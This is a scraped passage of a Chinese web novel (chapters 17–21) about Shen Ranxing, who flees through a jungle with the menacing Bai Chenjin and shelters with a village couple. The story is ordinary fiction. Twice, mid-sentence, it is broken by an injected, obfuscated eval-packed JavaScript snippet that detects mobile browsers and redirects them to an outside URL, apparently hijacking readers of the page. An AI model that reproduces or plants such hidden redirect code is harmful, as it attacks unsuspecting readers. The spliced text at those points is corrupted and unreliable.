她甚至不知身在何处、去向何方,只知他力气极大,只知手疼得要命,挣脱不得。 疼得久了,便也麻木了。 她居然还有余力欣赏眼前这宽阔背影,冰冷、强悍、游刃有余。 她恍然大悟,他不是不小心遇上了守卫,更不是意外引发了更大的动静,分明是故意的,因为他享受这种追逐的乐趣。 或许,有她的恐惧作衬,还将这趣味推向了极致…… 神思流转间,白尘烬带着她,撞开了一扇破败的侧门,冲出伏妖居的高墙,一头扎进墙外那片茂密而阴暗的原始丛林之中。 一举甩开追兵。 看,多么轻而易举! 枝叶浓密,瞬间遮蔽了天空,光线变得晦暗不明,道路坎坷不平,树根布满,盘根错节,苔藓湿滑。 白尘烬速度未减,仍拖拽着她,在密林中穿梭。 荆棘刮破衣衫,在皮肤上留下火辣刺痛,可她不敢停,不知追兵何时追上,只能咬紧牙关,强忍手腕与全身不适拼力跟上。 她累极了,呼吸粗重,胸腔剧烈起伏,撞醒了怀中雪貂妖。 雪貂妖见她苦苦支撑,强打精神探查四周,虚弱道:“附近没人了,你们可以歇会儿了。” 沈染星马上传了话,可白尘烬根本不听。手掌依旧如铁箍般冰冷用力,无一丝松动。 这时她才明白他的意图,既然她喜欢牵手,便一次牵个够。 这是憋着坏股劲,在折磨她手呢! 她干脆也不忍了,变着花样情真意切地哀嚎起来。 谁料白尘烬铁石心肠,直接忽视,拽着她往前又翻过一个山头,眼前豁然开朗,出现一条汩汩溪流,他才猛地停步。 沈染星收势不及,直接撞上他后背。 不料她看着身娇体弱,这一撞,竟直接把人给撞倒了…… 沈染星:? 白尘烬身体一晃,直直向前倒去。 “你怎么了!”她撑着发软的身子毫无迟疑扑过去,搀扶着他。 这时,她又“身娇体弱”得名副其实,没扶住,两人双双倒地。 闷哼一声,沈染星被压在身下。 她懊悔,痛惜,早知他这么沉,就不扶了!白白害自己也摔一跤。 河水湍急,哗哗作响。 白尘烬压在她身上,呼吸变得粗重,紊乱,每一次吸气,都带着一种不祥的嘶哑声。 她惊魂未定地喘息,还未推他,他却挣扎坐起,背靠在一块湿滑巨石上。 他一手死死按住胸口,另一 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“怎么,这是你的毒,不认得了?” 要命!居然还真是原主撒的毒?! 沈染星点头,随即一顿,又使劲摇头,摇的跟拨浪鼓似的。 都是原主造的孽,实在不关她事,她老实巴交道:“实不相瞒,我失忆了。” 白尘烬虚弱地勾唇:“不想给解药也无妨,不过,你好歹换个新缘由。” 什么意思?新缘由? 有人以失忆为由,欺骗过他?如果他在这方面吃过亏,她再一头撞进去,那岂不是自寻死路吗? 可是……顶着原主的身份来看,她真是失忆了啊。 得下记猛药了,沈染星深吸一口气,仿佛下定了决心。 “我其实不是这个世界的人,所以这具身体原先做过的事,都与我无关。”她看着他的眼睛,语气带着一种破釜沉舟的坦诚,“我从未想过伤害你,待逃出去后,我会按照约定,给你一笔钱,自此互不相干,所以你可以放心,我不会害你。” 语毕,空气仿佛凝固了。 河水奔流,林风呜咽。 也不知哪句话扯动了他神经,白尘烬虚虚盯着她,眼尾笑意褪去,眼神沉静。 半晌,他才开口:“我要喝水服药。” 就这? 沈染星等了小半日,没等来他的惊讶、质问,甚至任何反应,他就这般轻飘飘揭过了。 不知是信了,还是没信…… 她心里实在没底,还想继续爆料,他却已垂眼,显然不愿继续这话题。 她只得压下冲动,转身从包袱里翻出水囊,去河边打了水,很自然地蹲回他身边。 服侍病人吃药,她可太懂了。 白尘烬接过水囊,将一枚散发清苦药香的黑褐色药丸扔进口中,又灌了口水。 喉结滚动,刚艰难地咽下药丸,手中水囊就被夺去了。 他抬眼,不偏不倚正对上沈染星眼眸,明亮到几乎刺目。 她拧紧水囊,又凑过来,掌心覆上他额头。 微凉的温度倏地传来,白尘烬微微一颤。 18. 第 18 章 沈染星轻声道:“好烫啊,你好像发烧了。” 白尘烬没有回应,像是耗尽了最后一丝力气,眼睛缓缓闭上,头歪向一边,彻底失去了意识。 她连忙托住他的头。 目光再次落在他脸上,素帛凌乱,裹着下半张脸,血迹斑斑。他双目紧闭,呼吸微弱,虚弱得毫无防备。 她要不要趁此机会逃走? 不逃的话……白尘烬是否会再次背叛她,如同猫捉老鼠般,再次将她抓回去。 吓吓倒无所谓,就怕真的上刑。 逃的话……她或许能暂时逃脱,但之后呢?能独自面对这片丛林,面对可能的追兵吗? 更重要的是,他醒来后是否会耿耿于怀,不远千里追杀她? 正纠结时,沈染星忽觉脊背一凉。 一支利箭撕裂空气,带着尖锐呼啸,从密林中急射而出。 目标直指她后脑,速度快得令人窒息。 她头皮发麻,惊呼卡在喉咙里,根本来不及做出任何反应。 电光火石间,那只原本无力垂落在身侧,沾着黑血的手,猛地抬起。 眨眼间便越过她耳侧,拂起一缕鬓发,精准地凌空一抓。 啪的一声清脆裂响。 那支去势凶猛的箭矢,被他牢牢抓在了手中,距她脑袋不过半寸。 箭尾兀自剧烈震颤,她甚至听见嗡嗡哀鸣。 沈染星彻底僵住,难以置信地看着眼前一幕。 原本昏迷的白尘烬不知何时已睁开了双眼。 眼眸冷冷的,哪里还有半分之前的涣散与模糊,只剩下几乎凝成实质的杀意和锐利。 虽然他脸色依旧苍白,唇角的黑血也未干,但那股迫人的气势乍起,甚至因为重伤,更添了几分暴戾的危险气息。 沈染星面色一白,心突突直跳,他居然是装昏的?! 是在试探她会不会趁机杀他?还是在试探她会不会趁机独自逃走? 他从未信过她。 一时间,她不知是在恐惧这一支箭,还是后怕于他的试探。 白尘烬不理会她急促的呼吸,也没看手中被抓裂的箭矢,手腕猛地一甩。 那支箭原路倒射而回,速度甚至比来时更快。 随后,林中立刻传来一声凄厉的惨叫,接着是人体倒地的闷响。 这一切发生极快,不过呼吸之间。 林间传来脚步声和犬吠声,急促又杂乱,由远及近。 沈染星的心脏瞬间提到了嗓子眼,她几乎是本能地扭头张望。 白尘烬微微侧头,低声道:“躲开。” 声音很轻,却如同千斤坠一般砸落,沈染星本来半圈在他怀里,猛一回神,迅速躲开,窜到了巨石后面。 动作之迅速灵敏,白尘烬都为之侧目。 她像只狡猾的兔子般,从巨石后探出半个脑袋 白尘烬轻轻扫她一眼,收回视线,未待林中的人冲出,直接飞身上前,身形隐没在密林中。 林中传来刀剑声,犬吠声,哀嚎声,混杂成一片。 沈染星趁此空隙,将雪貂妖从怀里掏出,捧在手上。 “有人来了,为什么不告诉我?上次是这样,这一次也是!”心慌之下,她的语气难免透着质问意味。 雪貂妖耷拉着脑袋,有气无力道:“上一次和你说了,但是你们在争执,你听不见。这一次……应当是他们发现我的存在,提前带了干扰的器物。” 雪貂妖被发现,只能是林绯烟的杰作。 沈染星一下子颓了。 “你受累了,好好休息吧。”她抱歉又无力地说着,拿过包袱,从里面拿出药,“我给你重新包扎一下伤口。” 雪貂妖“吱吱”地应了一声。 沈染星不再说话,背靠着巨石,垂头默默给它包扎伤口。 没想到在这个世界第一个交心的人,居然也是背叛得她最深的人,此时,她心口郁结,如同吞苍蝇般难受。 金乌高悬于蓝空,阳光金灿灿的,也驱不散她心中的阴霾,更化不去空气中弥漫的浓重血腥。 沈染星刚给雪貂妖包扎好,就听见了一阵马蹄声。 转身探头望去,白尘烬牵着两匹马朝她走来。 来到她跟前,她才发现,白尘烬的呼吸似乎比刚才更重了一些,额角渗出细密冷汗,看来刚才打斗看着轻松,但对他身体造成的负担不轻。 不过他站得笔直,如同一柄宁折不弯的染血长剑,气势骇人。 马儿似乎也感知到他身上的血腥煞气,不安地刨着蹄子,却不敢嘶鸣。 “上马。” 他将其中一匹马的缰绳递向沈染星,声音没了那阴寒的柔和,变得沙哑冰冷。 沈染星看着那匹骏马,比她还高出一大截,再看看自己那依旧红肿刺痛,几乎抬不起来的手腕,脸色白了白。 她后退了半步,声音微颤:“我不会骑马,而且,我的手已经疼得根本使不上力了。” 危机解除,她的语气不自觉带上了一些埋怨。 闻言,白尘烬的动作顿住了。 他看向她的手,眉头狠狠一拧。 那里因他之前粗暴拖拽,留下了青紫指痕,此刻肿得老高,袖口里的小臂上,还留着磕在铁栏上的红痕。 又看向她苍白惊惶、带着明显委屈的脸…… 他眼中闪过一丝极淡的烦躁。 此人怎会弱到如此地步。 “过来。”冰冷的两个字落下,带着上位者浑然天成的命令意味,她下意识朝他走去。 连反应的时间也没给,甫一靠近,他便一手揽住她的腰,另一只手托住她的腿弯,轻而易举地将她打横抱了起来。 “啊!”沈染星猝不及防,惊呼一声,整个人瞬间失衡,只能用那只好一点的手,慌忙抓住他胸前的衣襟。 此时,他的怀抱和他的人一样,冰冷而坚硬,带着浓郁的血腥气和淡淡的冷松香。 虽然没有丝毫暖意,却异常稳固有力。 白尘烬抱着她,几步走到马旁,毫不怜香惜玉地一扔,直接将她扔上了马背。 沈染星被摔得七荤八素,胃里一阵翻江倒海,慌忙用腿夹住马腹,另一只伤手无处着力,痛得她倒吸一口凉气,整个人伏在马背上,狼狈不堪。 粉红泡泡还未升起,便碎了个干净。 这人绝对是浪漫绝缘体! 下一刻,身后马鞍一沉,白尘烬利落翻身上马,坐在了她身后。 他胸膛结实,宽阔,瞬间贴上后背,冰得她一激灵。 他有力的双臂从她身侧穿过,抓住缰绳。 她整个人圈在了他的怀抱与马鞍之间,严严实实地完全笼罩。 可此时此刻,比起姿势的极度亲密,她更在意的是……她正坐在马背上。 她可以骑马了! 她因兴奋,面颊都泛起了红晕。 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是一个年轻男子的声音,音色其实不算难听,但语调令人极不舒服,娇纵,气急败坏,还带着十足傲慢。 一个中年男子唯唯诺诺辩解道:“这不还有半个月呢吗,来得及的。” “还敢顶嘴了!” “公子息怒,公子息怒!是这车轴突然断了,小的这就想办法……” 沈染星睁开眼,抬手挡了一下夕阳,发现自己还靠在白尘烬的怀里,马儿正不紧不慢地踏着步子。 白尘烬似是没听到前方的声音,也没注意到她的动静,目不斜视,不紧不慢地驱着马。 沈染星顺着声音望去。 官道旁,一辆马车歪斜地停着,看起来低调奢华,一侧的车轮已经损坏,车轴断裂。 一个车夫模样的人正跪地检查,满头大汗,而马车旁站着一位年轻公子,身着宝蓝色锦袍,模样俊俏。 沈染星正欲收回视线,动作一顿,目光紧紧盯住一处。 那辆马车车厢上悬挂的一个标识。 是一块精致的木牌,上面雕刻着火焰与流光描成的朱红色神鸟。 这个图案…… 沈染星的瞳孔微微收缩。 一股强烈熟悉感冲击大脑,她一定在哪里见过! 她努力在混乱的记忆中搜寻……是了!这是原书朝廷四大驯妖司之一,朱雀司的图腾,是原书女主家的家徽! 她的心猛地一跳,一个念头浮现出来,或许她可以去找原书女主。 只要去到原书女主身边,在她眼皮子底下,白尘烬便不会再把恶劣玩闹的心思,放在自己身上。 如此一来,不仅自由了,还可以寻得一方庇护。 妙极了! 思索间,二人经过了那马车,沈染星却恋恋不舍,扭头继续望着,甚至心神都恨不得飞到那辆马车上。 她身子越转越过分,浑然不觉横在身前的手臂肌肉绷紧了一瞬。 “坐稳。” 耳边突然传来白尘烬的低语,语气毫无温度,气息却是湿热的,拂过她的耳廓,让她起了一层鸡皮疙瘩。 沈染星不解地仰头,还未来得及询问。 白尘烬猛地一抖缰绳。 “驾!” 骏马长嘶一声,如同离弦之箭般,猛地窜了出去。 19. 第 19 章 巨大惯性袭来,沈染星惊呼一声,整个人不受控制,向后撞进他怀里。 伤手还不小心碰到马鞍,钻心的疼痛传来,她眼前一阵发黑。 不知白尘烬为何突然提速,沈染星也无暇顾及,只能用那只好手,拼命抓住马鞍前端的凸起。 风在耳边呼啸而过,两旁的树木疯狂倒退。 他骑得极快,毫无顾忌,颠簸得厉害。 身体随着马的奔跑剧烈起伏,吓得她的心几乎要嗓子眼。 身后的白尘烬全然不顾她,只专心操控缰绳,驾驭着奔马。 跑过一阵,最初的惊慌过去,她心头涌上一股说不出的痛快。 耳边风声呼呼,眼前草地飞快倒退,好像所有烦心事,都被这速度远远抛在了后头。 沈染星顺着本能,也跟着马的节奏,一起一伏,心里头越来越轻快,甚至想张开胳膊,像鸟一样飞起来。 可才飞驰了不过半柱香时间,就在沈染星享受着难得的痛快时,身下骏马的速度却渐渐慢了下来。 白尘烬催马疾驰那股猛劲消散,马蹄声再度缓慢而规律,节奏也缓和了许多。 游走于危险边缘的心跳,挣脱束缚的极致自由,无一不让她着迷。 即便速度缓下,那令人头皮发麻的刺激感,却如同烙印般,深深烙入她感知,让她每一寸血肉都在叫嚣着,渴望着。 她微微侧过头,仰起脸颊,几乎蹭到他的下颌,声音里带着未散尽的喘|息,兴奋道:“再来一次,再来一次!” 每次想要出去玩,或者嘴馋时,她都这样哀求萧医生,即便绝大多数要求无法满足,好歹也可以尝到一些甜头。 比如她骑不得真马,却去骑了一次旋转木马。 白尘烬垂眸看她。 橙黄的夕阳落入她眼底,亮得惊人,那种渴望鲜活,生动,甚至有些放肆,与他平日所见的温顺怯然截然不同。 他并未立即应答,目光沉默,似在审视她这突如其来的大胆。 他的沉默让沈染星心急。 忍不住扯住他胸前的衣襟,再度哀求,语调软了下去,却更显迫切:“就一次,一次,求你了求你了,像刚才那样……” 尾音消失在骤然扬起的嘶鸣声中。 他甚至没有出声,回应她的,是陡然勒紧的缰绳,是狠狠落下的鞭策,骏马如一道箭般,再度飞驰而去。 “啊!” 她短促惊叫一声,又被狂风撞碎,巨大的惯性袭来,她再次重重撞回他胸膛。 下一刻,却又被更强大的力量抛向前方,仿佛下一瞬就要脱离马背,飞入无尽的虚空之中。 唯有他手臂,死死锁在她的腰间,成为她与这疯狂世界唯一的连接。 极致的速度让万物扭曲变形,风声在耳边咆哮,几乎吞噬一切。 偏偏在这样令人窒息的颠簸与狂野中,她却感受到一种快意,近乎毁灭性的快意。 活了二十载,她还是第一次如此痛快! 似乎有笑声从白尘烬胸腔里震出,低沉的,带着一丝哑意,沈染星侧耳细细听去,却再也没听见,仿佛只是错觉。 再之后,速度又慢了下来。 机不可失,失不再来。 明知是过分之举,沈染星还是故技重施,央求他再来一次。 可是身后那人再也不为所动,只是默然控着缰绳。 不怕死地又央求了两遍,没有回应。 平静中,她能清晰地感受到,白尘烬胸腔因为呼吸而产生的微弱震动,甚至能听到他心跳声,略显急促。 她还欲再开口,一种极具侵略性的压迫感传来,沈染星一僵,顿时安静如鸡。 他不是善茬,更不是白衣天使,如此纠缠,不杀她,就谢天谢地了。 哪还有那资本让他再次满足她。 骏马在官道上踏出沉稳的节奏。 沈染星终于安静了下来,温顺地圈在怀里,黑发间飘出淡淡的香气,拂过他下颌。 白尘烬知道她谎话连篇。 另一个世界,失忆,那些鬼话,他当然不可能再一次相信。 她说她不会骑马,他未置一词,直接将她放上马。 然而,一触即马背,她便调整好了重心姿态,那根本不是一个不会骑马之人该有的反应,甚至,较少骑的人,也做不到那般反应。 更不必说,骏马奔腾时,她腰间骤然绷紧,旋即又放松的肌肉变化。 她能演,而这细微的变化却瞒不住人。 不过…… 第一次疾驰,是因他心烦,第二次,却是她要求的。 她实力不弱,为何能犯如此低级的错误,谎言错漏百出? ……像是真的喜欢他带她飞驰一般。 那时,她像变了个人般,风中飘来她压抑不住的惊呼,旋即化作一种近乎贪婪的兴奋。 一次作罢,她甚至回过头,眼眸亮得惊人,里面盛满了他从未见过的渴望,鲜活又野性,软声哀求他再来一次。 她到底想做什么…… 想从他身上得到什么…… 继续试探,也不会有更多的线索,他索性不再回应她,只是沉默地驭马前行。 马蹄嘚嘚,又行了一段路,直到日头西斜,将两人的影子拉得老长,前方终于出现了一个小小的村落。 炊烟袅袅,鸡犬相闻,透着寻常乡间的安宁。 白尘烬勒马,停在村口一间看起来还算整洁的土坯院外。 院门开着,门前坐着一位大娘,头发花白,系着围裙,正端着簸箕在院子里筛捡豆子。 “大娘。”白尘烬开口,声音温和有礼,与人设极为不符,沈染星见鬼似的仰头看他。 他垂眸瞥一眼:有事? 沈染星摇头:没事! 白尘烬这才接着道:“途径此地,可否借宿一宿?付您银钱。” 那大娘闻声抬头,看到马上的两人。 白尘烬风尘仆仆,气势不凡,面上素帛血迹已经消失,并且再次缠好,只剩鸦青色衣上还有暗沉血迹,不过不明显。 而他怀中的沈染星,脸色苍白,发丝凌乱,衣衫在逃亡中被树枝刮破了几处,衣袖还有血迹,好不狼狈。 大娘的眼光一落,停在沈染星下意识护着的手上,红肿不堪,青紫指痕格外刺目。 她脸色微微变了变,眼神里立刻充满了担忧。 “哎哟,这……快进来快进来!”她连忙放下簸箕,在身上擦了擦手,“出门在外的,谁没个难处,说什么银钱不银钱的,粗茶淡饭,破屋一间,你们不嫌弃就好。” 她热情地招呼着,目光却时不时瞟向沈染星。 这姑娘不会是让人拐了吧。 白尘烬先从容地下了马,伸手,似乎想像之前那样,将沈染星抱下来,但沈染星看到他伸出的手,瑟缩了一下。 手还疼着,真是下意识反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16261224|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白尘烬见她如此,索性不理了,站在一侧。 沈染星伸手,想再次借他力时,他却岿然不动了。 小气鬼! 无人相助,她只能自己咬着牙,笨拙地想要滑下马背。 大娘见状,愈发肯定这姑娘正身处险境。 赶紧上前一步,扶住了她的胳膊,帮她站稳,触手之处只觉这姑娘胳膊纤细,身子轻飘飘的,更是怜惜:“姑娘小心些。” 感受到大娘温暖而粗糙的手,沈染星鼻尖微微一酸。 前不久才经历了背叛,再次感到善意,却还是心软得一塌糊涂。 她将此情感理解为……没出息! 白尘烬将马牵进院子角落的棚子拴好,沉默不言,跟在两人身后进了屋。 晚饭很简单,清粥小菜,烙饼。 很快,两人便安静地吃完了。 沈染星单手把碗碟和剩菜端出去,一出房门,大娘立刻凑近,接过她手中碗筷,随手放到桌上,把她拉到一个角落里。 沈染星懵逼地看着大娘。 大娘压低了声音,“姑娘,你跟大娘说实话,你手上那伤……是不是那位爷……” 话没说完,但意思再明显不过。 一个衣襟带血的男子,一个柔弱带伤的女子,怎么看都像是欺凌虐待的一对。 沈染星一愣,连忙摇头:“不是的大娘,你误会了,这伤……是之前不小心弄的,与他无关。” 她这话也不算完全说谎,最初被拖拽,确实是因为逃亡。 大娘却一副“我懂,你都受了委屈,还要替他遮掩”的表情,并且将白尘烬的身份,由人贩子,变作了……相公。 沈染星奇怪地看着她。 她拍拍沈染星手背,声音压得更低,眼神瞟向隔壁屋,充满了警惕:“姑娘,你别怕呀。若是他打你,欺负你,你跟大娘说!这村里虽然小,但里正老爷还是能主事的!咱们可以去报官!可不能任由人欺负了去!” 报官? 那不行! 可能官未报,她人先死了。 她反握住大娘粗糙温暖的手,虚弱笑了笑,真心实意道:“大娘,真的不是你想的那样。他是……他是我的……”表哥。 “是你相公是伐,我们村头那曹大娘也是,她家男人一喝醉酒就打人,不过街坊邻里劝过后,已经收敛了不少……我们也给你劝劝……” 沈染星连忙抬手止住大娘的话,想要否认,却又顿住了话头。 大娘家只有一间空房舍,换个身份,指不定还闹出什么乱子。 她干脆默认了下来:“是我路上遇到了歹人,受了惊吓又弄伤了手,不关他的事。他只是……性子冷,不爱说话。” 她努力编造着一个合理的解释。 大娘将信将疑地看着她,似乎想从她脸上找出破绽:“真的?你可别骗大娘……” “真的。”沈染星用力点头,眼神尽量显得真诚,“多谢大娘关心,我没事的,休息一晚就好了。” 大娘又仔细看了看她的神色:“唉,没事就好,你在这里等着我,我去拿药,给你的手涂下药,瞧这小手肿的……” 窗外夜色深沉。 在大娘的絮叨声中,沈染星任由大娘给她上了药。 而后回到房门口,还未开门,便听见里面的谈话声。 贴上耳朵一听。 沈染星:?! 白尘烬似乎在被……说教? 20. 第 20 章 不明情况,沈染星下意识地屏住呼吸,躲在门外偷听,心跳不由自主地加快。 白尘烬那种性子,怎么会耐着性子听一位乡下老农说话。 老大爷是大娘的相公,声音带着长辈特有的絮叨和关切,语重心长: “后生啊,大爷是过来人,看得多哩。你那小媳妇,模样俊是俊,可那手腕子伤成那样,脸色白得跟纸似的,一看就是吃了大苦头的……” 沈染星的心猛地一跳! 小媳妇?!大爷怎么也误会了,还舞到了白尘烬面前。 该不会是大娘告诉他的吧…… 如此雷人的劝解,白尘烬当然没有任何回应。 老大爷似乎没察觉到他的冷漠,继续说着,语气甚至带上了几分责备:“夫妻俩过日子,有啥磕绊不能好好说?男人家力气大,可不是用来欺负自家媳妇的!我看那丫头,眼神怯生生的,见着你跟见着老虎似的,这可不行啊!” 沈染星听得心惊肉跳,手心瞬间冒出了冷汗。 这大爷根本不知道他在跟一个什么样的人说话。 他还在谆谆教导:“媳妇是用来疼的,你……” 一老大爷竟能如此絮叨,大道理一套一套的,没完没了了! 沈染星越听越慌,心脏都几乎要跳出胸腔了,再也顾不得其他,猛地一把推开了房门。 她开门的动静不小。 房里两人在炕上相对而坐,同时转头看向她。 老大爷脸上还带着未褪去的说教表情,看到是她,立刻露出了慈祥的笑容:“丫头,来,我们一起聊聊。” 大爷胆识过人,属实令她震撼。 她快步走过去,嗅到淡淡草药味,看见大爷的腿缠着褐色绷带,旁边还支着一条拐杖。 只愣了一瞬,她便上前扶住老大爷的胳膊。 “大爷,我们赶了一天路了,需要早些休息。”她声音急促,心脏还在砰砰狂跳,“您也早些休息吧,我扶您进屋歇着吧。” 大爷伸手撑住拐杖,颤巍巍站起身来。 她根本不敢再看白尘烬的表情,只是半强迫地、带着无比的急切,要将老大爷往屋外带。 突如其来的热情弄得大爷有些懵,但还是乐呵呵的,顺着她的力道往外走:“哎哟,好好好,丫头真是贴心,你相公啊,就是性子闷了点,你得……” “大爷,你脚还好吧!”沈染星立即打断了老人的话,声音都拔高了一些,心跳如擂鼓,生怕他再说出什么惊人之语。 大爷摇头:“好不了啰,从山上摔下来,断了腿,以后只能拄着拐杖走路,也干不了什么活了。” “去看过大夫了吗?” “看是看了,也只能这样了。” …… 她小心翼翼地将老大爷送回她里屋,又连连应付了二老关心,才得以退出来。 脑中思绪复杂,她不多想,直接回了房。 关上房门,一切安排妥当,她颤抖地吁出了一口长气,感觉腿都有些发软。 然而,下一瞬,一抬眼,便猝不及防地对上了白尘烬的目光。 月光和屋内透出微弱灯光,勾勒出他冷硬的侧脸,眼眸笑意淡淡,有些渗人,正牢牢地盯着她。 沈染星被他看得头皮发麻,后背瞬间沁出一层冷汗。 她强迫自己忽视他的视线,直接去整理被褥,“折腾一天一夜了,累了吧。” 白尘烬没有任何动静,像个被人服侍习惯的贵公子般,从容自若,在一旁等她整理被铺,甚至没有多看她一眼。 他极其自然地脱掉沾染着尘土木屑的外袍和靴子,只着一身深色中衣,然后……掀开了铺好的被子,直接躺下了。 甚至没给她留多少位置。 她也是被人服侍惯了的……病人啊! 他大爷的…… 趁他闭眼,沈染星嘴里叭叭骂人,但是没出声,又朝他脑袋虚空挥两拳。 刚挥完,忽地对上了他的视线,他不知何时睁开了眼。 沈染星一惊,差点闪着舌头。 而后她灵机一动,化拳为掌,四处挥动,声音因恐惧和震惊而发颤:“夜里蚊子不少哈……” 白尘烬沉默,目光幽幽,落在她身上。 “小媳妇?” 他声色喑哑,尾音扬起,沈染星心尖顿时麻了一片。 几息过后,在他阴冷的注视下,她这才发现。 这是反讽啊!不是调情! 她连忙解释:“他们见我们同住一屋,所以误会了我们的关系,解释起来挺麻烦的,反正以后不会在见面了,也没必要多费口舌,您觉得呢?” 说完,沈染星不敢再动,双手撑在被褥上,勾唇弯眼,甜甜地对他笑。 白尘烬视线缓而慢,寸寸扫过她的额头,眉眼,勾起的唇角,就在她甜笑要变为苦笑之际,他才眼睫轻颤,重新闭上了双眼。 至此,这事算是翻篇了。 沈染星缓缓松了口气,安置好昏睡的小雪貂,吹熄油灯,掀开被窝钻了进去。 土炕并不大,白尘烬身躯高大,还躺在中间,占去了大半空间。 沈染星靠得再边,也无可避免地碰到他。 好在白尘烬除了臂膀肌肉紧绷一瞬,并无不喜,甚至没有侧头看她。 独属于他的气息弥漫了过来,干燥,绵密,宛若烬火余温,与他白日的阴冷血腥不同,有种很强的割裂感。 奔波了许久,沈染星脑中再塞不下其他想法,疲惫之下,不一会便沉沉睡了过去。 次日,天边泛着鱼肚白。 沈染星哼唧了一声,模糊间,只觉得好像有什么东西紧紧箍着自己,温暖又结实,让她在这陌生的环境中,感到一丝奇异的安稳。 她甚至无意识地蹭了蹭脸颊底下,那有些硬却温热的“枕头”。 然而下一刻,头皮倏地一阵剧痛。 “嘶!” 一只手穿入她发间,猛地向后扯去,毫不留情,疼得她瞬间彻底清醒。 “呃!”她痛呼出声,惊恐地睁开眼。 映入眼帘的,是白尘烬那张近在咫尺的眼眸,雾蒙蒙的,仿佛结了一层厚厚的冰。 他半坐在炕上,衣襟微微敞开,露出里面的素帛,一只手还保持着攥着她长发的姿势。 那双或是柔柔带着戏弄,或是冷冽刺骨的眼眸里,此刻却翻涌着一种极其罕见的,几乎是惊怒交加的情绪。 甚至……还夹杂着一丝难以置信的愕然。 沈染星完全懵了,搞不清状况,只觉得头皮火辣辣地疼,委屈和恐惧瞬间涌上心头:“你…你干什么?!” 白尘烬没有立刻回答,目光死死地钉在她脸上,脸色难看至极,仿佛看到了什么极其无法容忍的景象。 沈染星的心脏狂跳,方才醒来时那模糊却温暖的触感记忆清晰起来。 她好像死死抱着什么东西,还蹭了…… 她的目光缓缓下移,落在白尘烬胸前那深色的中衣上,那处衣料乱七八糟,半遮半掩的素帛能看出胸肌的轮廓。 发间的手又一扯,力气不大,不痛,却把她扯回了神,也扯离了她的目光。 反应片刻,轰隆一声,仿佛一道惊雷在脑中炸开。 沈染星的脸瞬间血色尽褪,血液都像是凝固了。 她昨晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16266979|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然把白尘烬当成了人形抱枕,死死抱着睡了一夜,还在他衣服上留下了这么明显的睡痕?! 见他这反应,这种亲近肯定过分了,超出了他的底线。 “你听我解释,我不是故意的,”她声音抖得不成样子,几乎是语无伦次地想要解释,手脚冰凉地向后缩,恨不得把自己嵌进墙里去,“我睡着了,我不知道……” 白尘烬眼神阴沉,几乎要滴出水来。 他松开了攥着她头发的手。 他似乎也处于一种极度的震惊和困惑之中。 低头看了看胸前的褶皱,又抬眼,看了看吓得缩成一团的沈染星,眉头死死拧紧,眸底深处掠过极深的自我怀疑和警惕。 以他的警觉性,别说被人抱着睡了一夜,就是有人靠近时,都早已惊醒动手了。 可昨夜……他竟然真的睡着了。 还睡得如此不省人事,连被当成了抱枕,甚至留下了如此明显的痕迹都毫无察觉。 这简直不可思议,若是她有心动手,他早就身首异处了。 是因为余毒未清吗? 不像。 那是别的什么原因。 这种失控的感觉,让他极度不悦,甚至生出了一阵史无前例的危机感。 他看着眼前这个罪魁祸首,她脸色煞白、眼睛通红,像只受惊兔子一般。 杀意,混杂着某种难以言喻的憋闷情绪在胸中翻涌。 沈染星察觉到他身上的危险气息,想着安抚一番,便扑过去了。 白尘烬躲开了。 扑了个空,她心也跟着踏空了,猛地坠落。 连攻略方法也失了效果,恐怖和绝望席卷而来。 出乎意料的,白尘烬什么也没做,只是极其冰冷地扫了她一眼,然后猛地掀开被子下炕,背对着她,套上外袍和靴子,动作略显急促。 沈染星一动不敢动,连呼吸都放得极轻。 直到他收拾妥当,头也不回地,大步流星地摔门而去,她才像是被抽走了所有力气般,瘫软下来。 她愣愣地待在原地。 这场面很怪,但是说不出哪里怪。 磨磨蹭蹭地收拾好自己,走出屋子时,白尘烬正在院子角落检查马匹,连一个眼神都欠奉,仿佛早上那一幕从未发生过。 大娘已经做好了简单的早饭,热情地招呼他们。 饭桌上气氛诡异,沈染星埋头苦吃,不敢抬头。白尘烬吃得很快,依旧沉默。 终于熬到要告辞了。 沈染星心里暗暗松了口气,只想赶紧带白尘烬这个随时会爆炸的炸弹离开。 饭后,沈染星从怀中取出一点碎银,放在桌上,算是酬谢。 大娘推辞不过,只好千恩万谢地收了。 就在这时,沈染星的目光无意间扫过堂屋桌上,静静放着一瓶白瓷药瓶,其精致与陈旧环境格格不入。 那药…… 颇为眼熟…… 沈染星的眼睛瞬间瞪大了! 那是她的玉肌生! 这极品外伤药膏,伏妖居东家可是花了几两金子才寻得小半瓶,极其珍贵。她自己都舍不得多用,一直贴身藏着,宝贝得跟什么似的! 怎么会在大娘手上? 她下意识地伸手摸向自己贴身的口袋。 空了! 果然是她的。 沈染星的心顿时揪紧了,那可不是普通的药膏啊,那是她保命的,价值不菲的东西。 大娘不像占小便宜的人,只能是…… 她一转头,便看见白尘烬似笑非笑地看着她。 …… 这败家玩意儿! 21. 第 21 章 沈染星张了张嘴,脱口而出:“大娘,那个药膏……” 可是话到嘴边,又硬生生咽了回去。 大娘正笑呵呵地看着他们,眼神淳朴而善良,道:“你大爷自打摔伤了腿,有时候整夜整夜地疼啊,今早又发作了,用了你们送的药膏后,一下子就止了疼,大好了!都不知该怎么感谢你们。” 